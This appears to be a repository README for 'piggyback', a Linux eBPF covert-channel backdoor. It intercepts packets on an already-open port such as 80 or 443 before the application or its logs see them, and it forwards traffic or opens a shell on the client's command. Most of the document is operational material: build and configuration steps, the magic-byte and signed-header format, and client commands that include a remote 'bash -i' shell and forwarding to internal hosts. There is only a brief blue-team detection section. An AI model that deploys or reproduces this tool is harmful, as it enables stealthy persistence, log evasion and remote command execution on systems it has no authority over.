5.5 KiB
piggyback
Covert channel using Linux TC eBPF. Intercepts TCP packets on a port already in use, steals matching ones before the application sees them, forwards or executes per the client's instruction. Normal traffic is unaffected. Zero changes to existing services.
Intended Use
Educational purposes only. Do not deploy against systems you don't own or have explicit authorisation to test.
The core use case this demonstrates: persistence on a firewalled host by piggybacking on any already-permitted port (e.g. 80/443). Traffic is stolen at TC ingress before the application sees it and never appears in its logs.
Mode 1 — Plain TCP
Client Server (:80)
│── TCP packet ────────────→ TC eBPF ingress
│ [MAGIC][header] magic match?
│ YES → TC_ACT_STOLEN → daemon
│ NO → TC_ACT_OK → app (nginx etc.)
Mode 2 — Client wraps in legitimate TLS (middleware terminates SSL)
Client Middleware (:443) Server (:80)
│── valid TLS ──→ │ │
│ [MAGIC] │── [MAGIC][header] ─────→ TC eBPF ingress
│ inside │ (inner bytes fwd) → same as Mode 1
Mode 2 is identical server-side. Client sends a real TLS handshake toward middleware (nginx, Caddy, HAProxy) with the correct SNI so routing works. Middleware decrypts and forwards inner bytes to the plain TCP backend.
Requirements
- Linux 5.8+ (ring buffer + sk_lookup)
- Root /
CAP_NET_ADMIN+CAP_BPF libbpf,clang,llvm,bpftool,libsodium,libssl
# Fedora
sudo dnf install libbpf-devel clang llvm kernel-headers bpftool libsodium-devel openssl-devel
# Debian/Ubuntu
sudo apt install libbpf-dev clang llvm linux-headers-$(uname -r) bpftool libsodium-dev libssl-dev
Configuration
Only two files need editing before compiling. Port must match in both.
piggyback.bpf.c
#define LISTEN_PORT 80 // port to intercept
#define MAGIC "\xDE\xAD\xC0\xDE\xCA\xFE" // keep in sync with pb-client.c
piggyback.c
#define IFACE "" // "" = auto-detect default-route interface
#define LISTEN_PORT 80 // must match piggyback.bpf.c
#define AUTH_ENABLED 0 // 1 = require Ed25519 signature
#define TRUSTED_PUBKEY { 0xAB, ... } // 32-byte pubkey from `make keygen`
Forward target, action, and target port are not configured in the daemon — they come from the client packet. The daemon has no idea where to forward until a client tells it.
Build
make
Generate Ed25519 keypair (for authenticated mode)
make keygen
# Outputs public key hex → paste into TRUSTED_PUBKEY in piggyback.c
# Saves engagement.key → pass to pb-client with --key (never copy to target)
Usage
Server (target machine)
sudo ./piggyback
Client (operator machine)
# Mode 1 — plain TCP, no auth, forward to sshd
./pb-client 1.2.3.4 80 2222
# Mode 2 — through TLS middleware (SNI must match middleware routing)
./pb-client 1.2.3.4 443 2222 --mode tls --sni internal.corp.com
# With auth — forward to custom target
./pb-client 1.2.3.4 80 2222 --key engagement.key --target 10.0.0.5:3389
# Shell execution
./pb-client 1.2.3.4 80 2222 --key engagement.key --action shell --cmd 'bash -i'
# Then connect
ssh -p 2222 user@localhost
Full client options:
./pb-client <server_ip> <server_port> <local_port> [options]
--mode tcp|tls connection mode (default: tcp)
--sni <hostname> SNI for TLS — must match middleware virtual host config
--key <path> Ed25519 private key PEM (enables auth)
--action forward|shell (default: forward)
--target <ip:port> forward target on server side (default: 127.0.0.1:22)
--cmd <command> shell command for --action shell (default: bash)
-v verbose
Auth flow (AUTH_ENABLED=1)
make keygen— generate Ed25519 keypair- Set
TRUSTED_PUBKEY+AUTH_ENABLED=1inpiggyback.c, recompile daemon - Pass
--key engagement.keytopb-client(key stays on operator machine) - Client sends:
MAGIC(6) + 80-byte signed header - Daemon verifies Ed25519 sig, checks timestamp (±60s), checks replay ring
- On pass: executes action from header
- On fail: connection dropped silently
Signed header format (80 bytes after MAGIC):
[0..7] unix timestamp, big-endian uint64
[8] action (0x01=forward, 0x02=shell)
[9..12] target IPv4
[13..14] target port big-endian
[15] reserved
[16..79] Ed25519 sig over bytes [0..15] + server interface IPv4 (4 bytes)
Without --key: header still sent but timestamp=0 and sig=zeros. Daemon in
no-auth mode reads action+target and skips signature verification.
Detection (Blue Team)
tc filter show dev eth0 ingress # TC eBPF filters
bpftool prog list # all loaded eBPF programs
bpftool map list # eBPF maps (conn_state, pending, daemon_sock)
Baseline bpftool prog list on clean systems. Alert on new TC ingress programs
on internet-facing interfaces.
Known Limitations
- ACTION_FORWARD target is IPv4 only — header has 4 bytes for target IP
- Replay ring is size-bounded — 256 entries, evicted by overwrite not expiry
- sk_lookup may fail on some kernels — daemon logs a warning and falls back (works everywhere except strict NAT scenarios)